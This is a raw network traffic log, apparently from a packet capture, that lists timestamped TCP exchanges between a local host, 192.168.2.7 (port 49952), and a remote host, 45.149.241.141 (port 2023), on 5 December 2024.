Dec 5, 2024 10:40:04.247554064 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.247570992 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.247663975 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.250196934 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.250447035 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.250514030 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.253005028 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.253160000 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.253221035 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.255887985 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.256012917 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.256097078 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.258743048 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.258819103 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.258872986 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.261562109 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.261617899 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.261678934 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.264436960 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.264537096 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.264619112 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.267349005 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.267462015 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.267574072 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.270164967 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.270289898 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.270375013 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.272984982 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.273102999 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.273195982 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.275882959 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.275981903 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.276046038 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.278737068 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.278839111 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.278892040 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.281584978 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.281696081 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.281744003 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.284414053 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.284427881 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.284518003 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.287282944 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.287415981 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.287481070 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.290153980 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.290220022 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.290273905 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.292977095 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.293178082 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.293234110 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.295830965 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.295964003 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.296025991 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.298698902 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.298815966 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.298881054 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.301531076 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.301683903 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.301788092 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.304394007 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.304516077 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.304577112 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.307240009 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.307344913 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.307431936 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.310070992 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.310220957 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.310288906 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.313007116 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.313035965 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.313095093 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.315881968 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.315970898 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.316020966 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.318665028 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.318800926 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.318855047 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.321521044 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.375106096 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.381525040 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.381607056 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.381680965 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.382734060 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.382879019 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.382925034 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.385097980 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.386044025 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.386121988 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.386125088 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.388499022 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.388542891 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.388575077 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.390902042 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.390958071 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.391007900 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.393268108 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.393312931 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.393363953 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.395625114 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.395638943 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.395673037 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.397906065 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.397921085 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.397978067 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.400237083 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.400296926 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.400320053 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.402344942 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.402405977 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.402465105 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.404576063 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.404623032 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.404653072 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.406861067 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.406939983 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.407043934 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.408889055 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.408929110 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.408962011 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.410979033 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.411003113 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.411062002 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.413069963 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.413144112 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.413176060 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.415158987 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.415215015 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.415306091 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.417119980 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.417160034 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.559756041 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.679502010 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:04.679560900 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:04.799278975 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.095834017 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.096025944 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.096126080 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.096143007 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.096807957 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.096869946 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.096879005 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.097476006 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.097551107 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.097575903 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.098507881 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.098562002 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.098628998 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.099045992 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.099140882 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.099203110 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.100222111 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.100234985 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.100281000 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.100610018 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.100663900 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.100724936 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.101656914 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.101707935 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.101753950 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.102572918 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.102623940 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.102756023 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.103545904 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.103605032 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.103652954 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.104763985 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.104814053 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.104850054 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.105827093 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.105876923 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.105956078 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.106508970 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.106610060 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.106616020 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.107369900 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.107434034 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.107511997 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.108374119 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.108431101 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.108474970 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.109481096 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.109498978 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.109558105 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.110321999 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.110388994 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.110414982 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.111306906 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.111366034 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.111455917 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.112279892 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.112356901 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.112369061 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.113312960 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.113390923 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.113396883 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.114250898 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.114346027 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.114345074 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.115204096 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.115251064 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.115263939 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.116162062 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.116205931 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.116302013 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.117258072 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.117301941 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.117312908 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.118170977 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.118267059 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.118311882 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.119219065 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.119265079 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.119285107 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.120044947 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.120093107 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.120117903 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.121015072 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.121061087 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.121153116 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.122011900 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.122062922 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.122062922 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.123020887 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.123086929 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.123275042 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.123980999 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.124042988 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.124133110 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.125025988 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.125089884 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.125116110 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.125922918 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.125999928 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.126000881 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.126913071 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.126965046 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.127012014 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.127867937 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.127908945 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.127990961 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.128829002 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.128896952 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.128923893 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.129765987 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.129827976 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.129853964 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.130750895 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.130805016 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.130883932 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.131802082 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.131858110 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.131860971 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.132719040 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.132781982 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.132874012 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.134015083 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.134056091 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.134116888 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.134783030 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.134854078 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.134861946 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.135663986 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.135721922 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.135852098 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.136778116 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.136879921 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.136900902 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.137590885 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.137646914 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.137742996 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.138528109 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.138580084 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.138582945 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.139556885 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.139626980 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.139650106 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.140464067 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.140521049 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.140530109 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.141470909 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.141549110 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.141678095 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.142501116 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.142565012 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.142602921 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.143400908 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.143445015 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.143554926 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.144371986 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.144424915 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.144511938 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.145334959 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.145400047 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.145477057 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.146294117 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.146404028 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.146429062 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.147329092 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.147396088 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.147435904 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.148180962 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.148247957 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.305270910 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.305289030 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.305362940 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.305406094 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.305418968 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.305432081 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.305448055 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.305476904 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.305495977 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.305633068 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.305799007 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.305810928 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.305824995 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.305840015 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.305841923 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.305879116 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.305883884 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.305896997 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.305910110 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.305923939 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.305936098 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.305937052 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.305943966 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.305953026 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.305985928 CET	49952	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:40:05.306644917 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.306658983 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.306670904 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.306677103 CET	2023	49952	45.149.241.141	192.168.2.7
Dec 5, 2024 10:40:05.306690931 CET	2023	49952	45.149.241.141	192.168.2.7
